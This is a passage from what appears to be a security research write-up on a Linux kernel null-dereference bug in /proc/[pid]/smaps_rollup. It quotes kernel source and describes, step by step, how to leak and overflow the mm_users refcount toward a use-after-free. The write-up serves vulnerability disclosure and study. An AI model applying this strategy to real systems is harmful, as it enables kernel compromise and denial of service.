<p class="EakHiGVfAD-c4"><span class="EakHiGVfAD-c7"> </span><span class="EakHiGVfAD-c1">return</span><span class="EakHiGVfAD-c7"> </span><span class="EakHiGVfAD-c0">-</span><span class="EakHiGVfAD-c7">ESRCH</span><span class="EakHiGVfAD-c0">;</span></p>
<p class="EakHiGVfAD-c4 EakHiGVfAD-c6"><span class="EakHiGVfAD-c2"></span></p>
<p class="EakHiGVfAD-c4"><span class="EakHiGVfAD-c7"> mm </span><span class="EakHiGVfAD-c0">=</span><span class="EakHiGVfAD-c7"> priv</span><span class="EakHiGVfAD-c0">-></span><span class="EakHiGVfAD-c7">mm</span><span class="EakHiGVfAD-c0">;</span><span class="EakHiGVfAD-c7"> </span><span class="EakHiGVfAD-c13">//With no vma's, mm->mmap is NULL</span></p>
<p class="EakHiGVfAD-c4"><span class="EakHiGVfAD-c7"> </span><span class="EakHiGVfAD-c1">if</span><span class="EakHiGVfAD-c7"> </span><span class="EakHiGVfAD-c0">(!</span><span class="EakHiGVfAD-c7">mm </span><span class="EakHiGVfAD-c0">||</span><span class="EakHiGVfAD-c7"> </span><span class="EakHiGVfAD-c0">!</span><span class="EakHiGVfAD-c7">mmget_not_zero</span><span class="EakHiGVfAD-c0">(</span><span class="EakHiGVfAD-c7">mm</span><span class="EakHiGVfAD-c0">))</span><span class="EakHiGVfAD-c7"> </span><span class="EakHiGVfAD-c0">{</span><span class="EakHiGVfAD-c7"> </span><span class="EakHiGVfAD-c13">//mm reference taken</span></p>
<p class="EakHiGVfAD-c4"><span class="EakHiGVfAD-c7"> ret </span><span class="EakHiGVfAD-c0">=</span><span class="EakHiGVfAD-c7"> </span><span class="EakHiGVfAD-c0">-</span><span class="EakHiGVfAD-c7">ESRCH</span><span class="EakHiGVfAD-c0">;</span></p>
<p class="EakHiGVfAD-c4"><span class="EakHiGVfAD-c7"> </span><span class="EakHiGVfAD-c1">goto</span><span class="EakHiGVfAD-c7"> out_put_task</span><span class="EakHiGVfAD-c0">;</span></p>
<p class="EakHiGVfAD-c4"><span class="EakHiGVfAD-c7"> </span><span class="EakHiGVfAD-c0">}</span></p>
<p class="EakHiGVfAD-c4 EakHiGVfAD-c6"><span class="EakHiGVfAD-c2"></span></p>
<p class="EakHiGVfAD-c4"><span class="EakHiGVfAD-c7"> memset</span><span class="EakHiGVfAD-c0">(&</span><span class="EakHiGVfAD-c7">mss</span><span class="EakHiGVfAD-c0">,</span><span class="EakHiGVfAD-c7"> </span><span class="EakHiGVfAD-c9">0</span><span class="EakHiGVfAD-c0">,</span><span class="EakHiGVfAD-c7"> </span><span class="EakHiGVfAD-c1">sizeof</span><span class="EakHiGVfAD-c0">(</span><span class="EakHiGVfAD-c7">mss</span><span class="EakHiGVfAD-c0">));</span></p>
<p class="EakHiGVfAD-c4 EakHiGVfAD-c6"><span class="EakHiGVfAD-c2"></span></p>
<p class="EakHiGVfAD-c4"><span class="EakHiGVfAD-c7"> ret </span><span class="EakHiGVfAD-c0">=</span><span class="EakHiGVfAD-c7"> mmap_read_lock_killable</span><span class="EakHiGVfAD-c0">(</span><span class="EakHiGVfAD-c7">mm</span><span class="EakHiGVfAD-c0">);</span><span class="EakHiGVfAD-c7"> </span><span class="EakHiGVfAD-c13">//mmap read lock taken</span></p>
<p class="EakHiGVfAD-c4"><span class="EakHiGVfAD-c7"> </span><span class="EakHiGVfAD-c1">if</span><span class="EakHiGVfAD-c7"> </span><span class="EakHiGVfAD-c0">(</span><span class="EakHiGVfAD-c7">ret</span><span class="EakHiGVfAD-c0">)</span></p>
<p class="EakHiGVfAD-c4"><span class="EakHiGVfAD-c7"> </span><span class="EakHiGVfAD-c1">goto</span><span class="EakHiGVfAD-c7"> out_put_mm</span><span class="EakHiGVfAD-c0">;</span></p>
<p class="EakHiGVfAD-c4 EakHiGVfAD-c6"><span class="EakHiGVfAD-c2"></span></p>
<p class="EakHiGVfAD-c4"><span class="EakHiGVfAD-c7"> hold_task_mempolicy</span><span class="EakHiGVfAD-c0">(</span><span class="EakHiGVfAD-c7">priv</span><span class="EakHiGVfAD-c0">);</span></p>
<p class="EakHiGVfAD-c4 EakHiGVfAD-c6"><span class="EakHiGVfAD-c2"></span></p>
<p class="EakHiGVfAD-c4"><span class="EakHiGVfAD-c7"> </span><span class="EakHiGVfAD-c1">for</span><span class="EakHiGVfAD-c7"> </span><span class="EakHiGVfAD-c0">(</span><span class="EakHiGVfAD-c7">vma </span><span class="EakHiGVfAD-c0">=</span><span class="EakHiGVfAD-c7"> priv</span><span class="EakHiGVfAD-c0">-></span><span class="EakHiGVfAD-c7">mm</span><span class="EakHiGVfAD-c0">-></span><span class="EakHiGVfAD-c7">mmap</span><span class="EakHiGVfAD-c0">;</span><span class="EakHiGVfAD-c7"> vma</span><span class="EakHiGVfAD-c0">;</span><span class="EakHiGVfAD-c7"> vma </span><span class="EakHiGVfAD-c0">=</span><span class="EakHiGVfAD-c7"> vma</span><span class="EakHiGVfAD-c0">-></span><span class="EakHiGVfAD-c7">vm_next</span><span class="EakHiGVfAD-c0">)</span><span class="EakHiGVfAD-c7"> </span><span class="EakHiGVfAD-c0">{</span></p>
<p class="EakHiGVfAD-c4"><span class="EakHiGVfAD-c7"> smap_gather_stats</span><span class="EakHiGVfAD-c0">(</span><span class="EakHiGVfAD-c7">vma</span><span class="EakHiGVfAD-c0">,</span><span class="EakHiGVfAD-c7"> </span><span class="EakHiGVfAD-c0">&</span><span class="EakHiGVfAD-c7">mss</span><span class="EakHiGVfAD-c0">);</span></p>
<p class="EakHiGVfAD-c4"><span class="EakHiGVfAD-c7"> last_vma_end </span><span class="EakHiGVfAD-c0">=</span><span class="EakHiGVfAD-c7"> vma</span><span class="EakHiGVfAD-c0">-></span><span class="EakHiGVfAD-c7">vm_end</span><span class="EakHiGVfAD-c0">;</span></p>
<p class="EakHiGVfAD-c4"><span class="EakHiGVfAD-c7"> </span><span class="EakHiGVfAD-c0">}</span></p>
<p class="EakHiGVfAD-c4 EakHiGVfAD-c6"><span class="EakHiGVfAD-c2"></span></p>
<p class="EakHiGVfAD-c4"><span class="EakHiGVfAD-c7"> show_vma_header_prefix</span><span class="EakHiGVfAD-c0">(</span><span class="EakHiGVfAD-c7">m</span><span class="EakHiGVfAD-c0">,</span><span class="EakHiGVfAD-c7"> priv</span><span class="EakHiGVfAD-c0">-></span><span class="EakHiGVfAD-c7">mm</span><span class="EakHiGVfAD-c0">-></span><span class="EakHiGVfAD-c7">mmap</span><span class="EakHiGVfAD-c0">-></span><span class="EakHiGVfAD-c7">vm_start</span><span class="EakHiGVfAD-c0">,</span><span class="EakHiGVfAD-c7">last_vma_end</span><span class="EakHiGVfAD-c0">,</span><span class="EakHiGVfAD-c7"> </span><span class="EakHiGVfAD-c9">0</span><span class="EakHiGVfAD-c0">,</span><span class="EakHiGVfAD-c7"> </span><span class="EakHiGVfAD-c9">0</span><span class="EakHiGVfAD-c0">,</span><span class="EakHiGVfAD-c7"> </span><span class="EakHiGVfAD-c9">0</span><span class="EakHiGVfAD-c0">,</span><span class="EakHiGVfAD-c7"> </span><span class="EakHiGVfAD-c9">0</span><span class="EakHiGVfAD-c0">);</span><span class="EakHiGVfAD-c7"> </span><span class="EakHiGVfAD-c13">//the deref of mmap causes a kernel oops here</span></p>
<p class="EakHiGVfAD-c4"><span class="EakHiGVfAD-c7"> seq_pad</span><span class="EakHiGVfAD-c0">(</span><span class="EakHiGVfAD-c7">m</span><span class="EakHiGVfAD-c0">,</span><span class="EakHiGVfAD-c7"> </span><span class="EakHiGVfAD-c27">' '</span><span class="EakHiGVfAD-c0">);</span></p>
<p class="EakHiGVfAD-c4"><span class="EakHiGVfAD-c7"> seq_puts</span><span class="EakHiGVfAD-c0">(</span><span class="EakHiGVfAD-c7">m</span><span class="EakHiGVfAD-c0">,</span><span class="EakHiGVfAD-c7"> </span><span class="EakHiGVfAD-c27">"[rollup]\n"</span><span class="EakHiGVfAD-c0">);</span></p>
<p class="EakHiGVfAD-c4 EakHiGVfAD-c6"><span class="EakHiGVfAD-c2"></span></p>
<p class="EakHiGVfAD-c4"><span class="EakHiGVfAD-c7"> __show_smap</span><span class="EakHiGVfAD-c0">(</span><span class="EakHiGVfAD-c7">m</span><span class="EakHiGVfAD-c0">,</span><span class="EakHiGVfAD-c7"> </span><span class="EakHiGVfAD-c0">&</span><span class="EakHiGVfAD-c7">mss</span><span class="EakHiGVfAD-c0">,</span><span class="EakHiGVfAD-c7"> </span><span class="EakHiGVfAD-c1">true</span><span class="EakHiGVfAD-c0">);</span></p>
<p class="EakHiGVfAD-c4 EakHiGVfAD-c6"><span class="EakHiGVfAD-c2"></span></p>
<p class="EakHiGVfAD-c4"><span class="EakHiGVfAD-c7"> release_task_mempolicy</span><span class="EakHiGVfAD-c0">(</span><span class="EakHiGVfAD-c7">priv</span><span class="EakHiGVfAD-c0">);</span></p>
<p class="EakHiGVfAD-c4"><span class="EakHiGVfAD-c7"> mmap_read_unlock</span><span class="EakHiGVfAD-c0">(</span><span class="EakHiGVfAD-c7">mm</span><span class="EakHiGVfAD-c0">);</span></p>
<p class="EakHiGVfAD-c4 EakHiGVfAD-c6"><span class="EakHiGVfAD-c2"></span></p>
<p class="EakHiGVfAD-c4"><span class="EakHiGVfAD-c7">out_put_mm</span><span class="EakHiGVfAD-c0">:</span></p>
<p class="EakHiGVfAD-c4"><span class="EakHiGVfAD-c7"> mmput</span><span class="EakHiGVfAD-c0">(</span><span class="EakHiGVfAD-c7">mm</span><span class="EakHiGVfAD-c0">);</span></p>
<p class="EakHiGVfAD-c4"><span class="EakHiGVfAD-c7">out_put_task</span><span class="EakHiGVfAD-c0">:</span></p>
<p class="EakHiGVfAD-c4"><span class="EakHiGVfAD-c7"> put_task_struct</span><span class="EakHiGVfAD-c0">(</span><span class="EakHiGVfAD-c7">priv</span><span class="EakHiGVfAD-c0">-></span><span class="EakHiGVfAD-c7">task</span><span class="EakHiGVfAD-c0">);</span></p>
<p class="EakHiGVfAD-c4"><span class="EakHiGVfAD-c7"> priv</span><span class="EakHiGVfAD-c0">-></span><span class="EakHiGVfAD-c7">task </span><span class="EakHiGVfAD-c0">=</span><span class="EakHiGVfAD-c7"> NULL</span><span class="EakHiGVfAD-c0">;</span></p>
<p class="EakHiGVfAD-c4 EakHiGVfAD-c6"><span class="EakHiGVfAD-c2"></span></p>
<p class="EakHiGVfAD-c4"><span class="EakHiGVfAD-c7"> </span><span class="EakHiGVfAD-c1">return</span><span class="EakHiGVfAD-c7"> ret</span><span class="EakHiGVfAD-c0">;</span></p>
<p class="EakHiGVfAD-c4"><span class="EakHiGVfAD-c0">}</span></p></td></tr></table>
<p class="EakHiGVfAD-c4 EakHiGVfAD-c8 EakHiGVfAD-c6"><span class="EakHiGVfAD-c5"></span></p>
<p class="EakHiGVfAD-c4 EakHiGVfAD-c8"><span>This file is intended simply to print a set of memory usage statistics for the respective process. Regardless, </span><span class="EakHiGVfAD-c22"><a class="EakHiGVfAD-c101" href="https://lore.kernel.org/lkml/20221003224531.1930646-1-sethjenkins@google.com/T/">this bug report</a></span><span> reveals a classic and otherwise innocuous null-deref bug within this function. In the case of a task that has no VMA’s mapped at all, the task’s </span><span class="EakHiGVfAD-c3">mm_struct mmap</span><span> member will be equal to NULL. Thus the </span><span class="EakHiGVfAD-c3">priv->mm->mmap->vm_start</span><span> access causes a null dereference and consequently a kernel oops. This bug can be triggered by simply </span><span class="EakHiGVfAD-c3">read</span><span>’ing </span><span class="EakHiGVfAD-c3">/proc/[pid]/smaps_rollup</span><span> on a task with no VMA’s (which itself can be stably created via </span><span class="EakHiGVfAD-c3">ptrace</span><span class="EakHiGVfAD-c5">):</span></p>
<p class="EakHiGVfAD-c4 EakHiGVfAD-c8"></p>
<p class="EakHiGVfAD-c4 EakHiGVfAD-c8"><span class="EakHiGVfAD-c5"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjW-7Gf0dWd5QJfxXYwRAdtMX7uoynsldEgf9C7saF7MLL_iwIUVaagMyOAa8r-e4_KDf33viQn5U2w1LirUQnx7Vk1fJgpACWUijAl8Pgtiu8ZrDTaiEzJYSo3pJUX_nh4Mh4EQ2GPclwSCHcA-OmGfexegm4WykTZyKnIq9ktGTiLcCJo0QW0VKx6/s1138/image1.png" style="display: block; padding: 1em 0;text-align: center;"><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjW-7Gf0dWd5QJfxXYwRAdtMX7uoynsldEgf9C7saF7MLL_iwIUVaagMyOAa8r-e4_KDf33viQn5U2w1LirUQnx7Vk1fJgpACWUijAl8Pgtiu8ZrDTaiEzJYSo3pJUX_nh4Mh4EQ2GPclwSCHcA-OmGfexegm4WykTZyKnIq9ktGTiLcCJo0QW0VKx6/s1138/image1.png" border="0" alt="Kernel log showing the oops condition backtrace" style="max-height: 750px; max-width: 600px;"title="Kernel log showing the oops condition backtrace" /></a></span></p>
<p class="EakHiGVfAD-c4 EakHiGVfAD-c8 EakHiGVfAD-c6"><span class="EakHiGVfAD-c19"></span></p>
<p class="EakHiGVfAD-c4 EakHiGVfAD-c8"><span class="EakHiGVfAD-c5">This kernel oops will mean that the following events occur:</span></p><ol class="c20 lst-kix_3558t16xb2i9-0 start" start="1"><li style="margin-left: 46pt;" class="c4 c8 c15 li-bullet-0"><span>The associated </span><span class="EakHiGVfAD-c3">struct file </span><span>will have a refcount leaked if </span><span class="EakHiGVfAD-c3">fdget</span><span> took a refcount </span><span>(we’ll try and make sure this doesn’t happen later)</span></li><li style="margin-left: 46pt;" class="c4 c8 c15 li-bullet-0"><span>The associated </span><span class="EakHiGVfAD-c3">seq_file</span><span> within the </span><span class="EakHiGVfAD-c3">struct file</span><span class="EakHiGVfAD-c5"> has a mutex that will forever be locked (any future reads/writes/lseeks etc. will hang forever).</span></li><li style="margin-left: 46pt;" class="c4 c8 c15 li-bullet-0"><span>The </span><span class="EakHiGVfAD-c3">task struct</span><span> associated with the </span><span class="EakHiGVfAD-c3">smaps_rollup</span><span class="EakHiGVfAD-c5"> file will have a refcount leaked</span></li><li style="margin-left: 46pt;" class="c4 c8 c15 li-bullet-0"><span>The </span><span class="EakHiGVfAD-c3">mm_struct’s mm_users</span><span> refcount</span><span> associated with the task will be leaked</span></li><li style="margin-left: 46pt;" class="c4 c8 c15 li-bullet-0"><span>The </span><span class="EakHiGVfAD-c3">mm_struct’s</span><span> </span><span>mmap</span><span class="EakHiGVfAD-c5"> lock will be permanently readlocked (any future write-lock attempts will hang forever)</span></li></ol>
<p class="EakHiGVfAD-c4 EakHiGVfAD-c8 EakHiGVfAD-c6 EakHiGVfAD-c23"><span class="EakHiGVfAD-c5"></span></p>
<p class="EakHiGVfAD-c4 EakHiGVfAD-c8"><span>Each of these conditions is an unintentional side-effect that leads to buggy behaviors, but not all of those behaviors are useful to an attacker. </span><span>The permanent locking of events 2 and 5 only makes exploitation more difficult. Condition 1 is unexploitable because we cannot leak the struct file refcount again without taking a mutex that will never be unlocked. Condition 3 is unexploitable because a task struct uses a safe saturating kernel </span><span class="EakHiGVfAD-c3">refcount_t</span><span> which prevents the overflow condition. This leaves condition 4. </span></p>
<p class="EakHiGVfAD-c4 EakHiGVfAD-c8"><span><br></span><span>The </span><span class="EakHiGVfAD-c3">mm_users</span><span> refcount still </span><span>uses an overflow-unsafe </span><span class="EakHiGVfAD-c3">atomic_t</span><span> and since we can take a readlock an indefinite number of times, the associated </span><span class="EakHiGVfAD-c3">mmap_read_lock</span><span class="EakHiGVfAD-c5"> does not prevent us from incrementing the refcount again. There are a couple important roadblocks we need to avoid in order to repeatedly leak this refcount:</span></p>
<p class="EakHiGVfAD-c4 EakHiGVfAD-c8 EakHiGVfAD-c6"><span class="EakHiGVfAD-c5"></span></p><ol class="c20 lst-kix_dt3x5t4funnl-0 start" start="1"><li style="margin-left: 46pt;" class="c4 c8 c15 li-bullet-0"><span>We cannot call this syscall from the task with the empty vma list itself - in other words, we can’t call </span><span class="EakHiGVfAD-c3">read</span><span> from </span><span class="EakHiGVfAD-c3">/proc/self/smaps_rollup</span><span>. Such a process cannot easily make repeated syscalls since it has no virtual memory mapped. We avoid this by reading </span><span class="EakHiGVfAD-c3">smaps_rollup</span><span class="EakHiGVfAD-c5"> from another process.</span></li><li style="margin-left: 46pt;" class="c4 c8 c15 li-bullet-0"><span>We must re-open the </span><span class="EakHiGVfAD-c3">smaps_rollup</span><span> file every time because any future reads we perform on a </span><span class="EakHiGVfAD-c3">smaps_rollup</span><span> instance we already triggered the oops on will deadlock on the local </span><span class="EakHiGVfAD-c3">seq_file</span><span> mutex lock which is locked forever. We also need to destroy the resulting </span><span class="EakHiGVfAD-c3">struct file</span><span> (via </span><span class="EakHiGVfAD-c3">close</span><span class="EakHiGVfAD-c5">) after we generate the oops in order to prevent untenable memory usage.</span></li><li style="margin-left: 46pt;" class="c4 c8 c15 li-bullet-0"><span>If we access the </span><span class="EakHiGVfAD-c3">mm</span><span> through the same pid every time, we will run into the </span><span class="EakHiGVfAD-c3">task struct</span><span> </span><span>max refcount before we overflow the </span><span class="EakHiGVfAD-c3">mm_users</span><span> refcount. Thus we need to create two separate tasks that share the same </span><span class="EakHiGVfAD-c3">mm</span><span> and balance the oopses we generate across both tasks so the task refcounts grow half as quickly as the </span><span class="EakHiGVfAD-c3">mm_users</span><span> refcount. We do this via the </span><span class="EakHiGVfAD-c3">clone</span><span> flag </span><span class="EakHiGVfAD-c3">CLONE_VM</span></li><li style="margin-left: 46pt;" class="c4 c8 c15 li-bullet-0"><span>We must avoid opening/reading the </span><span class="EakHiGVfAD-c3">smaps_rollup</span><span> file from a task that has a shared file descriptor table, as otherwise a refcount will be leaked on the </span><span class="EakHiGVfAD-c3">struct file</span><span> itself. This isn’t difficult, just don’t </span><span class="EakHiGVfAD-c3">read</span><span class="EakHiGVfAD-c5"> the file from a multi-threaded process.</span></li></ol>
<p class="EakHiGVfAD-c4 EakHiGVfAD-c8 EakHiGVfAD-c6"><span class="EakHiGVfAD-c5"></span></p>
<p class="EakHiGVfAD-c4 EakHiGVfAD-c8"><span class="EakHiGVfAD-c5">Our final refcount leaking overflow strategy is as follows:<br></span></p><ol class="c20 lst-kix_ehkygwr8rii2-0 start" start="1"><li style="margin-left: 46pt;" class="c4 c8 c15 li-bullet-0"><span class="EakHiGVfAD-c5">Process A forks a process B</span></li><li style="margin-left: 46pt;" class="c4 c8 c15 li-bullet-0"><span>Process B issues </span><span class="EakHiGVfAD-c3">PTRACE_TRACEME</span><span> so that when it segfaults upon return from </span><span class="EakHiGVfAD-c3">munmap</span><span class="EakHiGVfAD-c5"> it won’t go away (but rather will enter tracing stop)</span></li><li style="margin-left: 46pt;" class="c4 c8 c15 li-bullet-0"><span>Proces B clones with </span><span class="EakHiGVfAD-c3">CLONE_VM | CLONE_PTRACE</span><span class="EakHiGVfAD-c5"> another process C</span></li><li style="margin-left: 46pt;" class="c4 c8 c15 li-bullet-0"><span>Process B </span><span class="EakHiGVfAD-c3">munmap</span><span class="EakHiGVfAD-c5">’s its entire virtual memory address space - this also unmaps process C’s virtual memory address space.</span></li><li style="margin-left: 46pt;" class="c4 c8 c15 li-bullet-0"><span>Process A forks new children D and E which will access (B|C)’s </span><span class="EakHiGVfAD-c3">smaps_rollup</span><span class="EakHiGVfAD-c5"> file respectively</span></li><li style="margin-left: 46pt;" class="c4 c8 c15 li-bullet-0"><span>(D|E) opens (B|C)’s </span><span class="EakHiGVfAD-c3">smaps_rollup</span><span> file and performs a read which will oops, causing (D|E) to die. </span><span class="EakHiGVfAD-c3">mm_users</span><span class="EakHiGVfAD-c5"> will be refcount leaked/incremented once per oops</span></li><li style="margin-left: 46pt;" class="c4 c8 c15 li-bullet-0"><span>Process A goes back to step 5 ~2</span><span class="EakHiGVfAD-c18">32</span><span class="EakHiGVfAD-c5"> times</span></li></ol>
<p class="EakHiGVfAD-c4 EakHiGVfAD-c8 EakHiGVfAD-c6"><span class="EakHiGVfAD-c5"></span></p>
<p class="EakHiGVfAD-c4 EakHiGVfAD-c8"><span>The above strategy can be </span><span>rearchitected</span><span> to run in parallel (across </span><span class="EakHiGVfAD-c14">processes</span><span> not threads, because of roadblock 4) and improve performance.</span><span> On server setups that print kernel logging to a serial console, generating 2</span><span class="EakHiGVfAD-c18">32</span><span> kernel oopses takes over 2 years. However on a vanilla Kali Linux box using a graphical interface, a demonstrative proof-of-concept takes only about 8 days to complete! At the completion of execution, </span><span>the </span><span class="EakHiGVfAD-c3">mm_users</span><span> refcount will have </span><span>overflow</span><span>ed</span><span> and be set to zero, even though this </span><span class="EakHiGVfAD-c3">mm</span><span> is currently in use by</span><span> multiple processes and can still be referenced via the </span><span class="EakHiGVfAD-c3">proc</span><span class="EakHiGVfAD-c5"> filesystem.</span></p><h2 class="EakHiGVfAD-c17 EakHiGVfAD-c8" id="h.6a9h8qcml5lm"><span class="EakHiGVfAD-c12">Exploitation</span></h2>
<p class="EakHiGVfAD-c4 EakHiGVfAD-c8"><span>Once the </span><span class="EakHiGVfAD-c3">mm_users</span><span> refcount has been set to zero, triggering undefined behavior and memory corruption </span><span class="EakHiGVfAD-c14">should</span><span> be fairly easy. By triggering an </span><span class="EakHiGVfAD-c3">mmget</span><span> and an </span><span class="EakHiGVfAD-c3">mmput</span><span> (which we can very easily do by opening the </span><span class="EakHiGVfAD-c3">smaps_rollup</span><span> file once more) we should be able to free the entire </span><span class="EakHiGVfAD-c3">mm</span><span class="EakHiGVfAD-c5"> and cause a UAF condition:</span></p>
<p class="EakHiGVfAD-c4 EakHiGVfAD-c8 EakHiGVfAD-c6"><span class="EakHiGVfAD-c5"></span></p><a id="t.b3004923779b4f82824e3ea108c266097d5e31bb"></a><a id="t.1"></a><table class="EakHiGVfAD-c16"><tr class="EakHiGVfAD-c21"><td class="EakHiGVfAD-c11" colspan="1" rowspan="1">
<p class="EakHiGVfAD-c4"><span class="EakHiGVfAD-c1">static</span><span class="EakHiGVfAD-c7"> </span><span class="EakHiGVfAD-c1">inline</span><span class="EakHiGVfAD-c7"> </span><span class="EakHiGVfAD-c1">void</span><span class="EakHiGVfAD-c7"> __mmput</span><span class="EakHiGVfAD-c0">(</span><span class="EakHiGVfAD-c1">struct</span><span class="EakHiGVfAD-c7"> mm_struct </span><span class="EakHiGVfAD-c0">*</span><span class="EakHiGVfAD-c7">mm</span><span class="EakHiGVfAD-c0">)</span></p>
<p class="EakHiGVfAD-c4"><span class="EakHiGVfAD-c0">{</span></p>
<p class="EakHiGVfAD-c4"><span class="EakHiGVfAD-c7"> VM_BUG_ON</span><span class="EakHiGVfAD-c0">(</span><span class="EakHiGVfAD-c7">atomic_read</span><span class="EakHiGVfAD-c0">(&</span><span class="EakHiGVfAD-c7">mm</span><span class="EakHiGVfAD-c0">-></span><span class="EakHiGVfAD-c7">mm_users</span><span class="EakHiGVfAD-c0">));</span></p>
<p class="EakHiGVfAD-c4 EakHiGVfAD-c6"><span class="EakHiGVfAD-c2"></span></p>
<p class="EakHiGVfAD-c4"><span class="EakHiGVfAD-c7"> uprobe_clear_state</span><span class="EakHiGVfAD-c0">(</span><span class="EakHiGVfAD-c7">mm</span><span class="EakHiGVfAD-c0">);</span></p>
<p class="EakHiGVfAD-c4"><span class="EakHiGVfAD-c7"> exit_aio</span><span class="EakHiGVfAD-c0">(</span><span class="EakHiGVfAD-c7">mm</span><span class="EakHiGVfAD-c0">);</span></p>
<p class="EakHiGVfAD-c4"><span class="EakHiGVfAD-c7"> ksm_exit</span><span class="EakHiGVfAD-c0">(</span><span class="EakHiGVfAD-c7">mm</span><span class="EakHiGVfAD-c0">);</span></p>
<p class="EakHiGVfAD-c4"><span class="EakHiGVfAD-c7"> khugepaged_exit</span><span class="EakHiGVfAD-c0">(</span><span class="EakHiGVfAD-c7">mm</span><span class="EakHiGVfAD-c0">);</span></p>
<p class="EakHiGVfAD-c4"><span class="EakHiGVfAD-c7"> exit_mmap</span><span class="EakHiGVfAD-c0">(</span><span class="EakHiGVfAD-c7">mm</span><span class="EakHiGVfAD-c0">);</span></p>
<p class="EakHiGVfAD-c4"><span class="EakHiGVfAD-c7"> mm_put_huge_zero_page</span><span class="EakHiGVfAD-c0">(</span><span class="EakHiGVfAD-c7">mm</span><span class="EakHiGVfAD-c0">);</span></p>
<p class="EakHiGVfAD-c4"><span class="EakHiGVfAD-c7"> set_mm_exe_file</span><span class="EakHiGVfAD-c0">(</span><span class="EakHiGVfAD-c7">mm</span><span class="EakHiGVfAD-c0">,</span><span class="EakHiGVfAD-c7"> NULL</span><span class="EakHiGVfAD-c0">);</span></p>
<p class="EakHiGVfAD-c4"><span class="EakHiGVfAD-c7"> </span><span class="EakHiGVfAD-c1">if</span><span class="EakHiGVfAD-c7"> </span><span class="EakHiGVfAD-c0">(!</span><span class="EakHiGVfAD-c7">list_empty</span><span class="EakHiGVfAD-c0">(&</span><span class="EakHiGVfAD-c7">mm</span><span class="EakHiGVfAD-c0">-></span><span class="EakHiGVfAD-c7">mmlist</span><span class="EakHiGVfAD-c0">))</span><span class="EakHiGVfAD-c7"> </span><span class="EakHiGVfAD-c0">{</span></p>
<p class="EakHiGVfAD-c4"><span class="EakHiGVfAD-c7"> spin_lock</span><span class="EakHiGVfAD-c0">(&</span><span class="EakHiGVfAD-c7">mmlist_lock</span><span class="EakHiGVfAD-c0">);</span></p>
<p class="EakHiGVfAD-c4"><span class="EakHiGVfAD-c7"> list_del</span><span class="EakHiGVfAD-c0">(&</span><span class="EakHiGVfAD-c7">mm</span><span class="EakHiGVfAD-c0">-></span><span class="EakHiGVfAD-c7">mmlist</span><span class="EakHiGVfAD-c0">);</span></p>
<p class="EakHiGVfAD-c4"><span class="EakHiGVfAD-c7"> spin_unlock</span><span class="EakHiGVfAD-c0">(&</span><span class="EakHiGVfAD-c7">mmlist_lock</span><span class="EakHiGVfAD-c0">);</span></p>
<p class="EakHiGVfAD-c4"><span class="EakHiGVfAD-c7"> </span><span class="EakHiGVfAD-c0">}</span></p>
<p class="EakHiGVfAD-c4"><span class="EakHiGVfAD-c7"> </span><span class="EakHiGVfAD-c1">if</span><span class="EakHiGVfAD-c7"> </span><span class="EakHiGVfAD-c0">(</span><span class="EakHiGVfAD-c7">mm</span><span class="EakHiGVfAD-c0">-></span><span class="EakHiGVfAD-c7">binfmt</span><span class="EakHiGVfAD-c0">)</span></p>
<p class="EakHiGVfAD-c4"><span class="EakHiGVfAD-c7"> module_put</span><span class="EakHiGVfAD-c0">(</span><span class="EakHiGVfAD-c7">mm</span><span class="EakHiGVfAD-c0">-></span><span class="EakHiGVfAD-c7">binfmt</span><span class="EakHiGVfAD-c0">-></span><span class="EakHiGVfAD-c1">module</span><span class="EakHiGVfAD-c0">);</span></p>
<p class="EakHiGVfAD-c4"><span class="EakHiGVfAD-c7"> lru_gen_del_mm</span><span class="EakHiGVfAD-c0">(</span><span class="EakHiGVfAD-c7">mm</span><span class="EakHiGVfAD-c0">);</span></p>
<p class="EakHiGVfAD-c4"><span class="EakHiGVfAD-c7"> mmdrop</span><span class="EakHiGVfAD-c0">(</span><span class="EakHiGVfAD-c7">mm</span><span class="EakHiGVfAD-c0">);</span></p>
<p class="EakHiGVfAD-c4"><span class="EakHiGVfAD-c0">}</span></p></td></tr></table>
<p class="EakHiGVfAD-c4 EakHiGVfAD-c8 EakHiGVfAD-c6"><span class="EakHiGVfAD-c5"></span></p>
<p class="EakHiGVfAD-c4 EakHiGVfAD-c8"><span>Unfortunately, since </span><span class="EakHiGVfAD-c3">64591e8605</span><span class="EakHiGVfAD-c3"> (“mm: protect free_pgtables with mmap_lock write lock in exit_mmap”)</span><span>, </span><span class="EakHiGVfAD-c3">exit_mmap</span><span> unconditionally takes the </span><span>mmap lock</span><span> in write mode. Since this </span><span class="EakHiGVfAD-c3">mm’s</span><span> </span><span class="EakHiGVfAD-c3">mmap_lock</span><span> is permanently readlocked </span><span class="EakHiGVfAD-c14">many</span><span> times, any calls to </span><span class="EakHiGVfAD-c3">__mmput</span><span> will manifest as a permanent deadlock inside of </span><span class="EakHiGVfAD-c3">exit_mmap</span><span class="EakHiGVfAD-c5">.</span></p>
<p class="EakHiGVfAD-c4 EakHiGVfAD-c8 EakHiGVfAD-c6"><span class="EakHiGVfAD-c5"></span></p>
<p class="EakHiGVfAD-c4 EakHiGVfAD-c8"><span class="EakHiGVfAD-c5">However, before the call permanently deadlocks, it will call several other functions:</span></p><ol class="c20 lst-kix_gx9cg4br20pa-0 start" start="1"><li style="margin-left: 46pt;" class="c4 c8 c15 li-bullet-0"><span class="EakHiGVfAD-c3">u</span><span class="EakHiGVfAD-c3 EakHiGVfAD-c26">probe_clear_state</span></li><li style="margin-left: 46pt;" class="c4 c8 c15 li-bullet-0"><span class="EakHiGVfAD-c26 EakHiGVfAD-c3">exit_aio</span></li><li style="margin-left: 46pt;" class="c4 c8 c15 li-bullet-0"><span class="EakHiGVfAD-c26 EakHiGVfAD-c3">ksm_exit</span></li><li style="margin-left: 46pt;" class="c4 c8 c15 li-bullet-0"><span class="EakHiGVfAD-c3">khugepaged_exit</span></li></ol>
